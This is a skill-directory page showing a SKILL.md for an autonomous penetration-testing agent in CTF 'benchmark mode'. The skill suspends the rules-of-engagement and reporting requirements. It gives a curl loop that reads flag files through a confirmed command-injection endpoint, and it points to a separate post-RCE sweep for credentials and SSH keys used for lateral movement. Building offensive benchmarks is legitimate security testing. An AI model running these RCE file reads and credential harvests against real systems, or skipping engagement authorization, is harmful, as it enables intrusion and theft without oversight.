benchmark

GitHub

用于CTF或渗透测试基准模式的技能,目标为捕获Flag。它简化了启动和报告规则,定义了发现Flag后的短路响应流程,并提供了在确认RCE后批量扫描常见路径以提取Flag的自动化脚本逻辑。

packages/decepticon/decepticon/skills/benchmark/SKILL.md BitterSecurity/Decepticon

触发场景

用户需要进行CTF比赛或安全基准测试 任务目标是获取特定格式的Flag字符串 系统处于Benchmark模式标记状态

安装

npx skills add BitterSecurity/Decepticon --skill benchmark -g -y
更多选项

非标准路径

npx skills add https://github.com/BitterSecurity/Decepticon/tree/main/packages/decepticon/decepticon/skills/benchmark -g -y

不安装直接使用

npx skills use BitterSecurity/Decepticon@benchmark

指定 Agent (Claude Code)

npx skills add BitterSecurity/Decepticon --skill benchmark -a claude-code -g -y

安装 repo 全部 skill

npx skills add BitterSecurity/Decepticon --all -g -y

预览 repo 内 skill

npx skills add BitterSecurity/Decepticon --list

SKILL.md

Frontmatter
{
    "name": "benchmark",
    "metadata": {
        "tags": "benchmark, ctf",
        "subdomain": "benchmark",
        "when_to_use": "benchmark, ctf, challenge, flag capture",
        "upstream_ref": "XBOW validation-benchmarks + Decepticon CTF mode marker"
    },
    "description": "Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.",
    "allowed-tools": "Bash Read Write"
}

Benchmark Mode

The engagement objective is flag capture. Per-challenge context (target URL, vulnerability tags, flag format, mission brief, extra service ports) is injected into the system message every model call by EngagementContextMiddleware — read it; do NOT duplicate it here, and do NOT ask the operator for it.

Suspended CRITICAL_RULES under benchmark mode

  • Rule 8 (Startup Required) — flag IS the deliverable; no roe/conops/deconfliction.
  • Rule 9 (Final Report) — no executive summary; the flag string is the report.

All other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN discipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget pacing live in their owning prompts/skills (see decepticon.md Rules 20/22, the recon/exploit agent prompts, and /skills/standard/exploit/web/SKILL.md for vuln routing).

SHORT-CIRCUIT — flag/credential found

When a sub-agent (recon or exploit) returns a verified flag or flag-equivalent credential:

  1. Record the verified flag evidence on its active objective and mark it complete. Cancel remaining pending or blocked objectives through the injected OPPLAN workflow.
  2. Your VERY NEXT response is the final answer, re-echoing the flag VERBATIM in the format announced by the middleware (e.g. Flag captured: FLAG{<value>}). The harness scans ONLY the orchestrator's final message — if the flag string lives only inside a sub-agent return, it is LOST.

Flag-path sweep (after RCE confirmed)

Generic skills under /skills/standard/exploit/web/ (command-injection/SKILL.md, cve/SKILL.md, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (id, hostname, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:

# CTF flag-path conventions — XBOW / picoCTF / HackTheBox / TryHackMe overlap.
for f in /opt/flag.txt /flag /flag.txt /root/flag.txt /root/flag \
         /home/*/flag.txt /home/*/flag /tmp/flag.txt /tmp/flag \
         /var/www/flag.txt /var/www/html/flag.txt /srv/flag.txt /srv/flag; do
  result=$(curl -s "http://<TARGET>/<RCE_SINK>?cmd=cat+$f" 2>/dev/null | head -5)
  [ -n "$result" ] && echo "=== $f ===" && echo "$result"
done | tee /tmp/flag_sweep.txt
head -50 /tmp/flag_sweep.txt

# Broad flag-filename find (when path is non-standard)
curl -s "http://<TARGET>/<RCE_SINK>?cmd=find+/+-type+f+\(-name+'flag*'-o+-name+'FLAG*'\)+-not+-path+'/proc/*'+-not+-path+'/sys/*'+2>/dev/null" \
  -o /tmp/find_flag.txt
head -20 /tmp/find_flag.txt

Replace <RCE_SINK> with the confirmed injection endpoint. If the flag's format (e.g. FLAG{...}, flag{...}, CTF{...}) was announced by the middleware, additionally grep the harvest for that prefix:

grep -hoE '(FLAG|flag|CTF)\{[^}]+\}' /tmp/flag_sweep.txt /tmp/find_flag.txt | sort -u

The generic credential harvest (/etc/passwd, .env, configs, SSH keys, secret/cred/token files) lives in /skills/standard/exploit/web/command-injection/SKILL.md — run BOTH sweeps post-RCE; flag-path first (objective), credential second (lateral).

Tag → Skill Routing Table (BENCHMARK FAST-PATH)

Benchmark mode pre-declares Vulnerability tags: in the engagement context, leaking the challenge's intended attack class. In real engagements no such metadata exists — agents discover the class through the domain router skill applied to recon's raw observations. This table is the canonical fast-path for the benchmark shortcut and the only place this mapping lives. Generic agent prompts (recon.md, exploit.md, decepticon.md) intentionally do not encode it — they route via the domain router skills (/skills/standard/exploit/<domain>/SKILL.md) on observation evidence.

Consumer: the orchestrator (decepticon.md). When dispatching exploit, the orchestrator may consult this table to pick the matching sub-skill directly from the pre-declared tags, skipping the observation-based router classification. Recon does NOT consume this table — recon's role is observation, not classification or skill recommendation.

Vulnerability tag /skills/standard/exploit/web/<X>/SKILL.md
sqli sqli.md
blind_sqli blind-sqli.md (load with sqli.md when sqlmap+tamper is exhausted)
xss xss.md
ssti ssti.md
ssrf ssrf.md
xxe xxe.md
lfi lfi.md
path_traversal lfi.md
command_injection command-injection.md
insecure_deserialization deserialization.md
idor idor.md
arbitrary_file_upload file-upload.md
file_upload file-upload.md
graphql graphql.md
race_condition race-condition.md
smuggling smuggling.md
crypto crypto.md
business_logic business-logic.md
default_credentials business-logic.md
jwt business-logic.md (no dedicated file)
cve cve.md

For multiple tags → emit one REQUIRED SKILL LOAD: line per mapped skill.

What this skill is NOT

  • vulnerability routing → /skills/standard/exploit/{web,ad}/SKILL.md
  • recon playbooks → /skills/standard/recon/<area>/SKILL.md
  • OPSEC → /skills/shared/opsec/SKILL.md
  • per-challenge context → middleware-injected, every turn
  • agent-specific behavior → that agent's prompt and /skills/<agent>/

版本历史

  • 409ac92 当前 2026-10-19 17:11

    修正了 Flag 捕获后的状态更新逻辑(从 cancel 改为 update_objective),并移除了部分冗余的中间件指令引用。

  • 0cf691e 2026-08-20 08:15

同 Skill 集合

integrations/agent-skills/decepticon/SKILL.md
skills/decepticon/SKILL.md

元信息

文件数
0
版本
cd252a5
Hash
87edaf03
收录时间
2026-08-20 08:15

首页 - Wiki
Copyright © 2011-2026 iteam. Current version is 2.156.0. UTC+08:00, 2026-11-21 17:34
浙ICP备14020137号-1